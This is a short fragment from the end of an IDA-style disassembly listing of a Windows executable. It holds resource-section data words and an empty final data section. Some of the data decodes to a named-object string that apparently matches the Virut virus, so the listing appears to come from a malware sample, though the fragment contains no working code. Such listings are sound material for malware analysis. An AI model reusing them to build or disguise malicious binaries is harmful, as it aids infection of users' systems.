		dd 8024427Ch, 810B1C7Ch, 80B9747Ch, 809A517Ch, 810D877Ch
		dd 90D4607Ch, 90D6827Ch, 90D7547Ch, 90D7697Ch, 90D7937Ch
		dd 90DC557Ch, 90DCFD7Ch, 90DD907Ch, 90DEB67Ch, 90EA327Ch
		dd 9130C67Ch, 7Ch, 14h dup(0)
		dd 380036h, 439CC4h, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BBh	dup(0)
		dd 51000000h, 0Dh dup(0)
		dd 7FFDF0h, 1177h dup(0)
_rsrc		ends

; Section 9. (virtual address 0003F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0003E600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43F000h
		align 2000h
_idata2		ends


		end start